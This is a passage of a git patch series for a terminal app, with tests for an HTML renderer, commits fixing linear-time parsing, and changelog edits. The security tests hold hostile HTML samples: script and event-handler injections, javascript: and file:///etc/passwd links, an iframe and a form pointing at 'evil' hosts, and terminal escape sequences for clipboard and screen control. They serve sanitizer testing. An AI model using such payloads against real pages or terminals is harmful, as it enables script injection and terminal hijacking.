logo" src="docs/logo-light.png" width="240"> +</picture> + +# notMyShell + +<p align="center"> + <a href="https://github.com/raiseCatError/notMyShell/actions"><img src="https://img.shields.io/badge/CI-passing-green" alt="CI status"></a> + <b>A calmer terminal</b> for <i>zsh</i>, Bash and Fish. +</p> + +</div> + +Press <kbd>Ctrl</kbd>+<kbd>C</kbd> to stop.<br>Next line. + +- one +- two`; + +test('F01: a README\'s embedded HTML renders: images as alt text, inline styles, Markdown between the blocks unchanged', () => { + const rows = markdown(README, 120); + const text = plain(rows); + for (const tag of ['<div', '</div>', '<picture', '<source', '<img', '<p ', '</p>', '<a ', '<b>', '<i>', '<kbd>', '<br>']) assert.ok(!text.includes(tag), `${tag} is not shown`); + assert.match(text, /\[image: NMSh logo\]/u); + assert.match(text, /\[image: CI status\]/u); + assert.ok(rows.some(row => row.kind === 'heading' && row.plain === 'notMyShell'), 'Markdown between HTML blocks still renders'); + assert.match(text, /A calmer terminal for zsh, Bash and Fish\./u); + assert.match(text, /Press Ctrl\+C to stop\. Next line\./u); + assert.match(text, /• one\n• two/u); + const styled = rows.map(row => row.ansi).join('\n'); + assert.match(styled, /\u001b\[1m[^\n]*A/u, '<b> is bold'); +}); + +test('F01: an HTML document renders its structure: headings, paragraphs, nested lists, tables, code, quotes and rules', () => { + const rows = html(`<!DOCTYPE html><html><head><title>T +

Guide & notes

+

First paragraph + with strong, em, a < b and old.

+
  1. three
    • nested
  2. four
+ +
KeyValue
a1
b | c2
+
const x = 1 < 2;
+  return x;
+

Quoted

+
+
  • done
  • open
+
More

Hidden text

+ `); + const text = plain(rows); + assert.ok(rows.some(row => row.kind === 'heading' && row.plain === 'Guide & notes')); + assert.match(text, /First paragraph with strong, em, a < b and old\./u, 'whitespace collapses; entities decode'); + assert.match(text, /3\. three\n {3}◦ nested\n4\. four/u); + assert.ok(rows.some(row => row.kind === 'table' && /Key/u.test(row.plain) && /Value/u.test(row.plain))); + assert.ok(rows.some(row => row.kind === 'table' && /b \| c/u.test(row.plain)), 'a cell keeps its own pipe'); + assert.ok(rows.some(row => row.kind === 'code' && /const x = 1 < 2;/u.test(row.plain))); + assert.ok(rows.some(row => row.kind === 'code' && /^\s*return x;/u.test(row.plain.replace(/^.*?│ ?/u, ''))) || /return x;/u.test(text)); + assert.ok(rows.some(row => row.kind === 'quote' && /Quoted/u.test(row.plain))); + assert.ok(rows.some(row => row.kind === 'rule')); + assert.match(text, /☑ done\n☐ open/u); + assert.match(text, /More\n*Hidden text/u); + assert.doesNotMatch(text, /color:red||\bT\b\n/u, 'head and styles are not content'); +}); + +test('F01 security: nothing executes, loads or styles: scripts, styles, handlers, embeds and unsafe links are dropped', () => { + const rows = html(`<p onclick="alert(1)">Safe <span style="color:red">text</span></p> + <script>alert('x')</script><style>p{display:none}</style><template><p>tmpl</p></template> + <noscript>ns</noscript><iframe src="https://evil.example/"></iframe><object data="x.swf"></object><embed src="x"> + <svg onload="alert(1)"><text>svgtext</text></svg><math><mi>x</mi></math><form action="https://evil"><input value="secret"><button>Go</button></form> + <img src="x" onerror="alert(1)" alt="pic"> + <p><a href="javascript:alert(1)">js</a> <a href="file:///etc/passwd">file</a> <a href="data:text/html,x">data</a> <a href="https://ok.example/">ok</a></p>`, 80, true); + const text = plain(rows); + for (const banned of ["alert('x')", 'tmpl', 'svgtext', 'secret', 'Go', 'display', 'onclick', 'onerror', 'evil', 'x.swf', '\nns']) assert.ok(!text.includes(banned), `${banned} not shown`); + // A refused link keeps its text and shows its target as inert text, as in Markdown: nothing is hidden or followed. + assert.match(text, /js \(javascript:alert\(1\)\) file \(file:\/\/\/etc\/passwd\)/u); + assert.match(text, /Safe text/u); + assert.match(text, /\[image: pic\]/u); + const styled = rows.map(row => row.ansi).join('\n'); + const links = [...styled.matchAll(/\u001b\]8;;([^\u0007\u001b]*)/gu)].map(match => match[1]).filter(Boolean); + assert.deepEqual(links, ['https://ok.example/'], 'only the http(s) link is a link'); +}); + +test('F01 security: terminal controls and invisible characters never come through text, entities or attributes', () => { + const rows = html(`<p>A\u001b[31mred\u001b]52;c;aGk=\u0007  ]0;t ‮gpj.exe x​y</p> + <img alt="\u001b[2Jalt" src="a"><a href="https://ok.example/\u001b]8;;evil">t</a>`, 60, true); + for (const row of rows) { + assert.doesNotMatch(row.plain, /[\u0000-\u0008\u000b-\u001f\u007f-\u009f‮]/u, JSON.stringify(row.plain)); + assert.doesNotMatch(row.ansi, /\u001b\[2J|\u001b\]52|\u001b\]0;/u, 'no screen, clipboard or title control survives'); + } +}); + +test('F01 limits: deep nesting, many tags, long attributes and unclosed markup stay bounded and never throw', () => { + const cases = [ + '<div>'.repeat(100_000) + 'deep' + '</div>'.repeat(100_000), + '<b>'.repeat(50_000) + 'x', + `<img alt="${'a'.repeat(200_000)}">`, + '<p>' + '<span>a</span>'.repeat(60_000), + '<table>' + '<tr><td>x</td></tr>'.repeat(20_000), + '<ul>' + '<li>'.repeat(30_000) + 'item', + '<p unterminated="never closed', + '<!-- comment never closed', + '<a href="https://x/">' + '['.repeat(50_000), + ]; + for (const source of cases) { + const started = performance.now(); + const rows = html(source, 40); + assert.ok(performance.now() - started < 4000, `bounded: ${source.slice(0, 30)}`); + for (const row of rows.slice(0, 200)) assert.ok(displayWidth(row.ansi) <= 40); + } + assert.match(plain(html('<div>'.repeat(100_000) + 'deep' + '</div>'.repeat(100_000))), /deep/u, 'content past the depth bound is still shown'); +}); + +test('F01: rendering HTML reads no files and makes no requests (the module imports nothing that could)', () => { + const source = readFileSync(new URL('../src/markdown/html.ts', import.meta.url), 'utf8'); + const imports = [...source.matchAll(/^import .* from '([^']+)';$/gmu)].map(match => match[1]!); + for (const name of imports) assert.ok(!/^node:|^(?:fs|net|http|https|child_process|dns|tls)$/u.test(name), `html.ts imports ${name}`); +}); + +test('F01: agent replies and GitHub bodies are unchanged: without the HTML option, tags stay text', () => { + const text = plain(renderMarkdown('Use a <div> here, or <b>this</b>.\n\n<p align="center">x</p>', 80, {level: 'truecolor'})); + assert.match(text, /Use a <div> here, or <b>this<\/b>\./u); + assert.match(text, /<p align="center">x<\/p>/u); + // An unknown tag-like word in /view's Markdown also stays text. + assert.match(plain(markdown('A generic <T> and <placeholder> stay.')), /A generic <T> and <placeholder> stay\./u); +}); + +test('F01: narrow widths fit, and NO_COLOR and Safe glyphs keep structure without color', () => { + for (const columns of [20, 40, 80]) { + for (const row of html('<h2>Title that is fairly long</h2><table><tr><th>Name</th><th>Description</th></tr><tr><td>a</td><td>a long cell that wraps</td></tr></table><ul><li>item</li></ul>', columns)) { + assert.ok(displayWidth(row.ansi) <= columns, `${columns}: ${row.plain}`); + } + } + const safe = renderHtml('<ul><li>x</li></ul><hr><blockquote>q</blockquote><code>c</code>', 40, {level: 'none', glyphs: 'safe'}); + assert.match(plain(safe), /- x/u); + assert.match(plain(safe), /`c`/u, 'code keeps backticks without color'); + for (const row of safe) assert.doesNotMatch(row.ansi, /\u001b\[[0-9;]*[34]8;/u, 'no color'); +}); + +function htmlDocument(text: string, path = '/tmp/page.html'): ViewDocument { + return {title: path, origin: {kind: 'file', path, realPath: path, symlink: false, bytes: text.length, mtimeMs: 0}, lines: text.split('\n'), text, + format: formatForPath(path).format, language: formatForPath(path).language, notes: [], lineEnding: 'lf', complete: true}; +} + +test('F01 viewer: .html opens rendered; m shows the source and back; search finds rendered text; narrow fits', () => { + assert.equal(formatForPath('/x/index.html').format, 'html'); + assert.equal(formatForPath('/x/page.HTM').format, 'html'); + assert.equal(formatForPath('/x/README.md').format, 'markdown'); + const state = createViewer(htmlDocument('<h1>Page</h1>\n<p>Hello <b>world</b></p>\n<script>alert(1)</script>')); + assert.equal(state.rendered, true); + let screen = renderViewer(state, 60, 20).map(row => stripAnsi(row)).join('\n'); + assert.match(screen, /Page/u); + assert.match(screen, /Hello world/u); + assert.doesNotMatch(screen, /alert|<p>/u); + viewerKey(state, {kind: 'text', value: 'm'}, 60, 20); + assert.equal(state.rendered, false); + screen = renderViewer(state, 60, 20).map(row => stripAnsi(row)).join('\n'); + assert.match(screen, /<p>Hello <b>world<\/b><\/p>/u, 'source mode shows the file as it is'); + viewerKey(state, {kind: 'text', value: 'm'}, 60, 20); + assert.equal(state.rendered, true); + viewerKey(state, {kind: 'text', value: '/'}, 60, 20); + for (const char of 'world') viewerKey(state, {kind: 'text', value: char}, 60, 20); + viewerKey(state, {kind: 'enter'}, 60, 20); + assert.equal(state.matchCount, 1); + for (const row of renderViewer(state, 24, 12)) assert.ok(displayWidth(row) <= 24); + // Markdown in /view renders its embedded HTML too. + const readme = createViewer({...htmlDocument('# T\n\n<p align="center"><img alt="Logo" src="x.png"></p>', '/tmp/README.md')}); + assert.match(renderViewer(readme, 60, 20).map(row => stripAnsi(row)).join('\n'), /\[image: Logo\]/u); +}); From baad272e282d7a7d61fb43126e0b470c45e4d840 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:13:25 +0530 Subject: [PATCH 092/157] /view HTML: an unclosed quote or tag never makes each tag rescan the document (QA F01) Self-review of the HTML reader: a quoted attribute was searched for its closing quote past the tag's own bound, and in Markdown each unclosed <code> searched to the end again (a 64 KiB paragraph of them took 125 ms, so a 1 MiB document could take seconds to open). The quote search now stops at the tag's bound, and close-tag searches remember their answer per name, so they only move forward. Worst cases measured: 14 ms per 64 KiB paragraph, about 300 ms per MiB of HTML; covered in the limits test. --- src/markdown/inline.ts | 26 +++++++++++++++++++++----- src/markdown/markup.ts | 6 ++++-- tests/viewHtml.test.ts | 7 +++++++ 3 files changed, 32 insertions(+), 7 deletions(-) diff --git a/src/markdown/inline.ts b/src/markdown/inline.ts index 08cdb548..9358f9b5 100644 --- a/src/markdown/inline.ts +++ b/src/markdown/inline.ts @@ -163,7 +163,7 @@ function backtickRuns(source: string): Map<number, number[]> { function tokenize(source: string, options: InlineOptions): Token[] { const tokens: Token[] = []; - const lower = options.html ? source.toLowerCase() : ''; + const closes = options.html ? closingTags(source) : () => -1; const runs = backtickRuns(source); /** Per run length, how many runs are already behind the scan position. */ const consumed = new Map<number, number>(); @@ -213,7 +213,7 @@ function tokenize(source: string, options: InlineOptions): Token[] { const tag = options.html ? readTag(source, index) : undefined; if (tag && KNOWN.has(tag.name)) { flush(); - index = htmlTag(tag, source, lower, tokens); + index = htmlTag(tag, source, closes, tokens); continue; } } @@ -262,12 +262,28 @@ function tokenize(source: string, options: InlineOptions): Token[] { return tokens; } +/** + * Where `</name` next appears at or after a position. Searches only move forward and each answer is remembered, so a + * run of unclosed tags (`<code>` after `<code>`) stays linear. + */ +function closingTags(source: string): (name: string, from: number) => number { + const lower = source.toLowerCase(); + const found = new Map<string, number>(); + return (name, from) => { + const known = found.get(name); + if (known !== undefined && (known < 0 || known >= from)) return known; + const at = lower.indexOf(`</${name}`, from); + found.set(name, at); + return at; + }; +} + /** One HTML tag in html mode: its tokens, and where reading goes on. */ -function htmlTag(tag: NonNullable<ReturnType<typeof readTag>>, source: string, lower: string, tokens: Token[]): number { +function htmlTag(tag: NonNullable<ReturnType<typeof readTag>>, source: string, closes: (name: string, from: number) => number, tokens: Token[]): number { const name = tag.name; // An element dropped with its content (a script, a style, a form control) leaves nothing, up to its end tag. if (!tag.closing && !tag.selfClosing && (DROPPED.has(name) || RAW_TEXT.has(name))) { - const close = lower.indexOf(`</${name}`, tag.end); + const close = closes(name, tag.end); const end = close < 0 ? -1 : source.indexOf('>', close); return end < 0 ? source.length : end + 1; } @@ -281,7 +297,7 @@ function htmlTag(tag: NonNullable<ReturnType<typeof readTag>>, source: string, l if (name === 'input' && tag.attributes.type?.toLowerCase() === 'checkbox') { tokens.push({kind: 'text', text: 'checked' in tag.attributes ? '☑ ' : '☐ '}); return tag.end; } if (CODE_TAGS.has(name) && !tag.selfClosing) { // Code is literal: its text up to the end tag, any markup inside dropped, references decoded (safely). - const close = lower.indexOf(`</${name}`, tag.end); + const close = closes(name, tag.end); if (close < 0) return tag.end; const end = source.indexOf('>', close); const code = decodeEntities(source.slice(tag.end, close).replace(/<[^<>]{0,200}>/gu, '')).replace(/\s+/gu, ' '); diff --git a/src/markdown/markup.ts b/src/markdown/markup.ts index 22201f14..5418750c 100644 --- a/src/markdown/markup.ts +++ b/src/markdown/markup.ts @@ -83,8 +83,10 @@ export function readTag(source: string, start: number): Tag | undefined { while (index < limit && SPACE.test(source[index]!)) index += 1; const quote = source[index]; if (quote === '"' || quote === "'") { - const close = source.indexOf(quote, index + 1); - if (close < 0 || close >= limit) return undefined; + // Only within this tag's bound: an unclosed quote never makes one tag scan the rest of the document. + let close = index + 1; + while (close < limit && source[close] !== quote) close += 1; + if (close >= limit) return undefined; value = source.slice(index + 1, close); index = close + 1; } else { diff --git a/tests/viewHtml.test.ts b/tests/viewHtml.test.ts index c0b26d6e..32e45f74 100644 --- a/tests/viewHtml.test.ts +++ b/tests/viewHtml.test.ts @@ -131,6 +131,13 @@ test('F01 limits: deep nesting, many tags, long attributes and unclosed markup s for (const row of rows.slice(0, 200)) assert.ok(displayWidth(row.ansi) <= 40); } assert.match(plain(html('<div>'.repeat(100_000) + 'deep' + '</div>'.repeat(100_000))), /deep/u, 'content past the depth bound is still shown'); + // Unclosed quotes and tags never make each tag rescan the rest: whole documents stay linear. + for (const [source, render] of [["<a x='".repeat(170_000), html], [('<a x="' + 'y'.repeat(4000)).repeat(250), html], + ['x <code>a '.repeat(6_000), markdown], ['x <script> '.repeat(6_000), markdown]] as const) { + const started = performance.now(); + render(source, 80); + assert.ok(performance.now() - started < 2500, `linear: ${source.slice(0, 12)}…`); + } }); test('F01: rendering HTML reads no files and makes no requests (the module imports nothing that could)', () => { From aa658d0e7e36b516b34ed95fef5b4bb043944a64 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:16:08 +0530 Subject: [PATCH 093/157] Tests: F02's paste tests use zsh's grammar, which every CI runner has (QA F02) CI's macOS runner has no Fish, the fixture's own shell. The reviewed list is offered only after the session's shell parse-checks each command and fails closed when it cannot, so there the list correctly offered only Edit and Cancel. The tests now set the session shell to zsh; they pass with Fish absent from PATH. --- tests/pasteSlashCommands.test.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tests/pasteSlashCommands.test.ts b/tests/pasteSlashCommands.test.ts index 7d5600ce..783552e1 100644 --- a/tests/pasteSlashCommands.test.ts +++ b/tests/pasteSlashCommands.test.ts @@ -22,6 +22,9 @@ const settled = () => new Promise(done => setImmediate(done)); function fixture() { const frame = executionFrameFixture(110, 34); + // zsh's grammar, which every CI runner has: the reviewed list is offered only after the shell itself parse-checks + // each command (fail closed), and the fixture's own shell (Fish) is not installed everywhere. + frame.app['shellId'] = 'zsh'; const submitted: string[] = []; const slashes: string[] = []; const queueOps: QueueOp[] = []; @@ -183,13 +186,13 @@ test('F02: typed with Ctrl+J, or entered while a command runs, a mixed block is test('F02: multi-line shell text is unchanged: a script, a heredoc with a slash line inside, and a single NMSh command', async () => { const f = fixture(); try { - const script = 'for f in a b\n echo $f\nend'; + const script = 'for f in a b; do\n echo $f\ndone'; f.app['editor'].insertPaste(script); f.enter(); await settled(); assert.equal(f.app['batchReview'], undefined); assert.equal(f.submitted.length, 1, 'a script runs as one command, as before'); f.complete(0); - // This session's shell is Fish (no heredocs): a quoted line is text in every shell. + // A quoted line is text in every shell. const quoted = "printf '%s\\n' 'first\n/track ls\nlast'"; f.app['editor'].insertPaste(quoted); f.enter(); await settled(); From e586e56970c9d64ccdfd7b275a99260cdd37d440 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:18:56 +0530 Subject: [PATCH 094/157] Sessions: a window on an older session service says its typing protections are not active (#426) An older NMSh's session service (v0.20.0's: the same protocol, so new windows attach to it and its live sessions keep running) still routes what is typed while a command runs the way that version did: #426's and #436's protections are not active in its sessions. The changelog said so; a window did not, beyond "fixes to how shells start are not in it". A window attached to a service without the look result those protections need now says, once: what you type while a command runs is routed as that version did, a password typed before a program asks can be shown, queued or run as a command, and the service restarts by itself once every NMSh window and live session has ended. Keyed on the capability, not the version string; a service from this release says nothing. --- src/app/TerminalApp.ts | 4 +++- src/session/SocketSessionClient.ts | 12 ++++++++++++ tests/sessionService.test.ts | 12 ++++++++++++ 3 files changed, 27 insertions(+), 1 deletion(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2cf3ca81..b2631b64 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -345,7 +345,7 @@ import {liveSessionRows} from '../sessions/LiveSessionView.js'; import {createResumeBrowser, describeArchivedRow, describeLiveRow, LIVE_ROW_LABELS, liveRowAgent, liveRowState, navigateResume, resumeDayLabel, resumeRowCount, resumeSelection, visibleLiveSessions, visibleResumeSessions, type ResumeBrowserState} from '../sessions/ResumeBrowser.js'; import {dismissSessionNotice, listLiveSessions, listSessionNotices} from '../session/connectSession.js'; -import {OLDER_SERVICE_SWITCH, serviceBuildNotice} from '../session/SocketSessionClient.js'; +import {OLDER_SERVICE_SWITCH, serviceBuildNotice, serviceInputNotice} from '../session/SocketSessionClient.js'; import {killAndArchive} from '../session/liveSessions.js'; import {recoverEndedSessions} from '../session/recovery.js'; import {AgentSessions, normalizeProfiles, type AgentProfile} from '../agents/sessions/manager.js'; @@ -1086,6 +1086,8 @@ export class TerminalApp { if (connection?.notice) this.output.addFrontendInteraction('session', connection.notice, ERROR); const stale = connection?.mode === 'service' ? serviceBuildNotice(this.session.serviceBuild, this.buildIdentity) : undefined; if (stale) this.output.addFrontendInteraction('session', stale, INFO); + const routing = connection?.mode === 'service' ? serviceInputNotice(this.session.features) : undefined; + if (routing) this.output.addFrontendInteraction('session', routing, WARNING); this.beginStartupWatch(connection?.attached); this.session.start(); void this.loadInstalledPacks(); diff --git a/src/session/SocketSessionClient.ts b/src/session/SocketSessionClient.ts index 287b10d9..ee11c314 100644 --- a/src/session/SocketSessionClient.ts +++ b/src/session/SocketSessionClient.ts @@ -144,6 +144,18 @@ export function serviceBuildNotice(serviceBuild: string | undefined, own: {versi + 'so fixes to how shells start are not in it yet. The service restarts by itself once every NMSh window and live session has ended.'; } +/** + * A session service without this release's look result (an older NMSh's, e.g. v0.20.0's) still decides who gets what + * is typed while a command runs, the way it did then: #426's and #436's protections are not active in its sessions. + * Said once per window, with when it ends; undefined for a service that has them. + */ +export function serviceInputNotice(features: ReadonlySet<string>): string | undefined { + if (features.has('input-look-result')) return undefined; + return 'This session\'s service is from an older NMSh, so what you type while a command runs is routed as that version did: ' + + 'a password typed before a program asks for it can be shown, queued or run as a command. ' + + 'The service restarts by itself once every NMSh window and live session has ended; new sessions then get the current protections.'; +} + export const OLDER_SERVICE_SWITCH = 'The session service running this session is an older NMSh build without shell switching. ' + 'Its live sessions keep running; once they end, the next nmsh launch starts the current service.'; diff --git a/tests/sessionService.test.ts b/tests/sessionService.test.ts index e1cd94ca..249843b4 100644 --- a/tests/sessionService.test.ts +++ b/tests/sessionService.test.ts @@ -277,6 +277,18 @@ test('a shell from an older session service is called out, because the service b assert.match(serviceBuildNotice(undefined, own) ?? '', /build not reported/u, 'a service too old to report its build'); }); +test('a session service without this release\'s typing protections says so, and when that ends (#426)', async () => { + const {serviceInputNotice} = await import('../src/session/SocketSessionClient.js'); + const {SERVICE_FEATURES} = await import('../src/session/SessionProtocol.js'); + assert.equal(serviceInputNotice(new Set(SERVICE_FEATURES)), undefined, 'this release\'s service: nothing to say'); + // v0.20.0's service: the same protocol, without the look result #426's protections are built on. + const v020 = new Set(['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'background-tasks', 'input-look', 'queue-timeline', 'queue-history']); + const notice = serviceInputNotice(v020) ?? ''; + assert.match(notice, /what you type while a command runs is routed as that version did/u); + assert.match(notice, /password/u, 'says what can happen, plainly'); + assert.match(notice, /restarts by itself once every NMSh window and live session has ended/u); +}); + test('transported queue reviews expire at manual submission and controller reattachment', async () => { const runtimeDir = scratch('nmsh-queue-review-'); From fa7ec6655cd614a11b214d6288636b2bd6fc21d9 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:37:23 +0530 Subject: [PATCH 095/157] =?UTF-8?q?Release=20v0.22.0=20candidate:=20post-Q?= =?UTF-8?q?A=20stabilization=20(F01=E2=80=93F04,=20#426,=20#443),=20record?= =?UTF-8?q?ed=20QA,=20targeted=20retests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - CHANGELOG [0.22.0]: HTML in /view (#454); Ask shell tasks and suggestions (#446); mixed NMSh/shell pastes (#450); the queue while a program waits (#452); the Markdown wrap fix; Security: a reply entered before an unseen read never runs as a command (#426) and an older session service says its protections are off. Known limitations reworded to what the code now does: the #426 residual is a reply that is itself a command name; on Fish 3 NMSh's markers are no longer lost (#449), Fish's own builtin output still can be (#443); suggestion quality depends on the model; /view's HTML subset. - docs/testing/v022-physical-qa.md: results as reported on 68c1cbb7 (sitting A PASS except A12 FAIL; B1, B3 PASS; B5, B8, B9, B10, C2, C7, C9, C10, D11 NOT RUN, user waived/deferred); what the reduced coverage does and does not prove; A9 steps 6-7 updated for #448; retests R1-R4 on a separate build, so 68c1cbb7's QA build stays as it was. - scripts/qa/v022-retest-fixtures.sh: adds work/retest/ and nmsh2 to the existing QA folder, never changing what is there. - Ledger: findings, root causes, evidence, integration and decisions. --- CHANGELOG.md | 18 +++- docs/development/v022-ledger.md | 56 +++++++++- docs/testing/v022-physical-qa.md | 160 +++++++++++++++++++++++------ scripts/qa/v022-retest-fixtures.sh | 109 ++++++++++++++++++++ 4 files changed, 305 insertions(+), 38 deletions(-) create mode 100755 scripts/qa/v022-retest-fixtures.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index 9275626b..1d897cc6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,7 @@ This is a release candidate: it is published only after its physical-terminal QA ### Added - **`/view`, a native read-only viewer** for files and completed output ([#397](https://github.com/raiseCatError/notMyShell/issues/397)). `/view README.md` opens a file relative to the shell's directory (`~` for home): Markdown renders (`m` shows the source), source files get syntax colors and line numbers, `.diff`/`.patch` files and `git diff`/`git show` output read as diffs. `/view N` opens completed output N (numbered as `/copy` numbers it) and `/view` the latest; Actions → View output does the same for a block. Find with `/` and `n`/`N`, go to a line with `:`, `w` toggles wrapping (Left/Right scroll sideways), `l` line numbers, `c` copies the whole text, Esc closes. Viewing never changes the file or the transcript. + - **HTML renders natively** ([#454](https://github.com/raiseCatError/notMyShell/issues/454), requested in physical QA): `.html`/`.htm` files, and HTML inside Markdown (a README's `<picture>`, `<img>`, `<div align="center">`, `<kbd>`), as terminal rows from a supported subset: headings, paragraphs, lists (nested, task boxes), tables, code, quotes, rules, emphasis, links and images. Nothing in it is run, styled by CSS or loaded: scripts, styles, embedded and interactive content are dropped, an image is its alt text (never fetched or read), links follow the same http(s)-only rule, and the parser is linear and bounded. `m` shows the source. Agent replies and other Markdown keep showing tags as text. - Limits: regular files only (directories, devices and pipes are refused), at most 8 MiB and 200,000 lines (the rest is named, with `less` or an editor as the way to read it), binary and UTF-16 files are refused, invalid UTF-8 is shown with `�` and a note. Control characters, escape sequences and invisible format characters are shown as visible marks, never interpreted. Open in pager, `less`, `bat` and Glow are unchanged. - **`/edit`, a small native editor** for one text file ([#402](https://github.com/raiseCatError/notMyShell/issues/402)). `/edit notes.md` (or `e` in `/view`) opens the file in a panel: type, select with Shift, Ctrl+Z / Ctrl+Y undo and redo, Ctrl+F find, Ctrl+C / Ctrl+X copy and cut, Ctrl+S save, Esc close (it asks about unsaved changes). A path that does not exist yet is created on the first save. It is for quick edits, not an IDE: `vim`, `nano`, `micro` and your `$EDITOR` still run as usual. - Safe saving: the new text is written beside the file and renamed over it, keeping its mode, group, line endings, BOM and final newline; a symlink stays a symlink. If the file changed, was replaced or was deleted since you opened it, nothing is written until you choose Keep editing, Overwrite or Reload. A new file never replaces one that appeared meanwhile. @@ -28,7 +29,7 @@ This is a release candidate: it is published only after its physical-terminal QA - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). - **From `/view` to your own editor** ([#366](https://github.com/raiseCatError/notMyShell/issues/366)). In `/view` of a file, `o` opens it at the first line on screen through the same bridge as `/open`: Zed or VS Code (around NMSh, or chosen in Open with) opens beside NMSh, and a terminal editor from `$VISUAL`/`$EDITOR` gets its command placed in the composer for you to run, never run for you. A draft already in the composer is never replaced, and with no editor known the viewer says how to set one. A file `/view` shows only in part, or cannot decode, now names this way to the rest. - **Choose a terminal editor for `/open` when VISUAL and EDITOR are not set** ([#366](https://github.com/raiseCatError/notMyShell/issues/366)). Settings → Terminal editor (also in `/providers`) lists Neovim, Helix, Micro, Vim, nano, Emacs and Kakoune, marks which are installed here, and saves one you have; one that is not installed cannot be chosen, and NMSh never installs an editor. `/open` then puts that editor's command in the composer for you to run, with the line and column in the form that editor documents (`hx file:12:5`, `nano +12,5 file`, `emacs -nw +12:5 file`, `nvim +12 file`). Zed or VS Code (around NMSh or chosen in Open with) and VISUAL/EDITOR still come first. When nothing is set, the message names the editors installed here. -- **Command suggestions in Ask, from your local model** ([#432](https://github.com/raiseCatError/notMyShell/issues/432), first part). Off by default; Settings → Ask → Command suggestions → Local model turns them on. When Ask cannot place a request (`/btw convert every png here to webp`), your local model (set up in `/llm`) may suggest one shell command. Ask shows it with NMSh's own check (reads only, changes things, installs software, destructive), never the model's, and offers Copy or Insert only: Insert puts it in the composer unsent, and only your Enter runs it. The model is sent the request, the shell and the OS family, nothing else; requests Ask refuses stay refused. Remote providers are not part of this release. +- **Command suggestions in Ask, from your local model** ([#432](https://github.com/raiseCatError/notMyShell/issues/432), first part). Off by default; Settings → Ask → Command suggestions → Local model turns them on. For a shell task Ask does not do itself (`/btw convert every png here to webp`: changing files in bulk, or finding them by size, age or duplicates), or a request it cannot place, your local model (set up in `/llm`) may suggest one shell command; with suggestions off, Ask says it does not run such tasks and where suggestions are turned on. Ask shows it with NMSh's own check (reads only, changes things, installs software, destructive), never the model's, and offers Copy or Insert only: Insert puts it in the composer unsent, and only your Enter runs it. The model is sent the request, the shell and the OS family, nothing else; requests Ask refuses stay refused. Remote providers are not part of this release. ### Changed @@ -38,6 +39,10 @@ This is a release candidate: it is published only after its physical-terminal QA ### Fixed - Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Rows are the terminal's rows: a line wider than the window counts as the rows it occupies, so a display that redraws over its own wrapped line no longer erases the log lines above it at narrow widths. A status row an installer reserves below a scroll region is not written into the log. Absolute cursor positioning is not mapped. +- Pasting several lines that mix NMSh commands with shell commands no longer sends NMSh's lines to the shell or turns the block into one unknown NMSh command ([#450](https://github.com/raiseCatError/notMyShell/issues/450), found in physical QA: `cd modules/bun-app` then `/modules` gave `zsh: no such file or directory: /modules`; four `/track` lines gave an unknown-command error). Enter on such a block, pasted or typed with Ctrl+J, runs and queues nothing: it opens the reviewed list, and **One at a time** puts each command in the composer, unsent, in order. Each runs on your own Enter, the next is offered only after the one before succeeded, and Esc stops. Multi-line shell text (scripts, heredocs, quotes) is unchanged. +- While a program waits for input, its headline keeps the queue in view and says when queued commands now wait for your approval (`≡ 2 queued · 2 for approval`); on a narrow screen it shortens the headline before dropping the queue to a bare count ([#452](https://github.com/raiseCatError/notMyShell/issues/452), physical QA). +- Ask with your local model no longer answers a shell task with an unrelated screen: `/btw convert every png here to webp` showed the folder listing, because the intent model read it as "list files" and that answer stood ([#446](https://github.com/raiseCatError/notMyShell/issues/446), physical QA). A refusal is never re-read by the intent model either, in Auto or Always. A model that suggests no command now says so. +- Markdown wrapping no longer glues two words together when the second fits only without the space before it (`A calmerterminal`), in every Markdown surface. - A queued command whose command word was still being classified when the next prompt reported new shell knowledge no longer keeps the unclassified color ([#408](https://github.com/raiseCatError/notMyShell/issues/408)). - With a slow zsh configuration (one that takes longer than a second and a half to load, as nvm or a large framework can), command colors no longer stop for the rest of the session: the first lookup waited on the configuration, timed out, and ended the helper that tells known commands from unknown ones. - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. @@ -48,10 +53,12 @@ This is a release candidate: it is published only after its physical-terminal QA ### Security - **Passwords and other replies are never shown, queued or run as a command on a guess.** Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it 